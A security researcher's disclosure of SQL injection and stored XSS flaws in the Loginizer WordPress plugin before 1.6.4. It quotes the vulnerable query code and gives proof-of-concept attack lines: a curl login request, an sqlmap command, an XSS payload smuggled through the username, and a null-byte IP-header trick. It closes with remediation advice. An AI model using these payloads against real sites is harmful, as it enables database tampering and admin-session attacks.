Loginizer before 1.6.4 SQLi injection

plugins / October 21, 2020 / fixed

Here we talk about Loginizer security plugin for WP that protects web sites from brute force attacks (quite needed functionality) and to provide extra lights and bolts in form of Two Factor Auth, reCAPTCHA, PasswordLess Login... Recently I performed some checks in the plugin code and few security issues were identified e.g. two paths towards SQLi and one XSS. Beside the fact that plugin code was quite audited in the past (more about this below), in the code remained very severe issues.

Eli5 PoC

Plugin counts failed login attempts hooking on `wp_login_failed` which is called in `wp_authenticate` e.g. official wp method for performing authentication in XMLRPC and web interface. In wp_signon we have un slashing of username / password pair (isn't case for XMLRPC) and like that are sent towards `wp_authenticate`. Here we have simple `sanitize_user` which is quite useless when called with `$strict = false` default parameter value. So, not protected `$username` travels towards any functionality hooked on `wp_login_failed`. In Loginizer:

```
add_action('wp_login_failed', 'loginizer_login_failed');
```

and via function definition we see how raw `$username` reaches the plugin functionality:

```
function loginizer_login_failed($username, $is_2fa = ''){

    global $wpdb, $loginizer, $lz_cannot_login;
    ...
```

Also in this function there are calls towards DB with not sanitized DB parameters:

```
...
$result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs` WHERE `ip` = '".$loginizer['current_ip']."';");
...
$sresult = $wpdb->query("UPDATE `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = `count`+1, `lockout` = '".$lock
...
$insert = $wpdb->query("INSERT INTO `".$wpdb->prefix."loginizer_logs` SET `username` = '".$username."', `time` = '".time()."', `count` = '1', `ip` = '".$loginizer['
...
```

and we see the places that are vulnerable of SQLi based on user login data. Simplest PoC if you monitor error_logs would be:

```
curl 'http://local.target/wp-login.php' --data-raw 'log=test%27loginizer&pwd=fdsfsdfs&wp-submit=Log+In&redirect_to=&testcookie=1'
```

and in the error_log you will see

```
[Mon Oct 19 13:20:27.425151 2020] [php7:notice] [pid 129822] [client 127.0.0.1:37896] WordPress database error You have an error in your SQL syntax; check the manua
```

This means that we have SQLi in `insert` statement and insert won't occure, because error in this case, but in case of an real attack ip value could be easy owerwritten and useless data to be filled in the logger tables. More stealth approach would be for sqli towards `update` statement.

```
python3 sqlmap.py -u http://local.target/wp-login.php --method='POST' --data='log=&pwd=password&wp-submit=Log+In&redirect_to=&testcookie=1' -p log --prefix="', ip =
```

As an extra towards this SQLi, in the code, there is following for printing the output in the administration area:

```
// Get the logs
        $result = lz_selectquery("SELECT * FROM `".$wpdb->prefix."loginizer_logs`
                            ORDER BY `time` DESC
                            LIMIT ".$lz_env['cur_page'].", ".$lz_env['res_len']."", 1);
...
foreach($result as $ik => $iv){
                    $status_button = (!empty($iv['status']) ? 'disable' : 'enable');
                    echo '
```

```
<tr>
    <td>
        <input type="checkbox" value="'.$iv['ip'].'" name="lz_reset_ips[]" />
    </td>
    <td>
        '.$iv['ip'].'
    </td>
    <td>
        '.$iv['username'].'
    </td>
```

So, beside the fact that `sanitize_user` function strips the tags, when we are into SQL machinery we have an option for stored XSS attack too:

```
test',ip=concat(char(60),'b',char(62),'wpdeeply',char(60),char(47),'b',char(62),'-',LEFT(UUID(),8)) -- wpdeeply
```

And that is it, more than easy and detailed about SQLi + XSS via `$username`.

Isn't only username

This one is much more interesting, yet effective on lower number of setups out there, but is really good issue 😉 Validation of the ip address happens in the following way:

```
function lz_valid_ip($ip){

    // IPv6
    if(lz_valid_ipv6($ip)){
        return true;
    }

    // IPv4
    if(!ip2long($ip)){
        return false;
    }

    return true;
}
```

and `ip2long` isn't binary safe, so if IP HTTP header reaches the backend with null byte in it, we are talking about SQLi, but also about standard stored XSS vulnerability.

```
if ( ip2long("127.0.0.1\x00'<script>") ) echo 'Valid IPv4';
```

What are affected setups and how to, won't be disclosed in this writing 😉

Few facts

- This plugin was "target" few times of not complete audits with some results, here and here
- When you perform static code analysis it is strange to suspect that `sanitize_user` will allow `'` or `"`, but anyway debugger need to be employed
- When you perform scanning and you are on local target then it is wise to inspect the error logs of the application and to try all of the parameters
- It is interesting and good to see how wp org managed to push the security update towards WP instances with this plugin https://wordpress.org/plugins/loginizer/advanced/ , but are you still comfortable allowing administration of your assets by unknown folks from wp org?
- We all know that WP employed `error protection` in the core. You think there isn't any WP / Loginizer setup that was tried by bot for SQLi on the login form? Are DB errors worth marking as problem in the installation or this feature is there for another reasons?!

Remediation

- Update Loginizer plugin and continue with its usage, it is good and useful piece of software.
- Use prepared DB statements.
- Turn off automatic updates from your production environment and follow the active installs from stage. It is about privacy, but also for security.

← Previous Post

Next Post →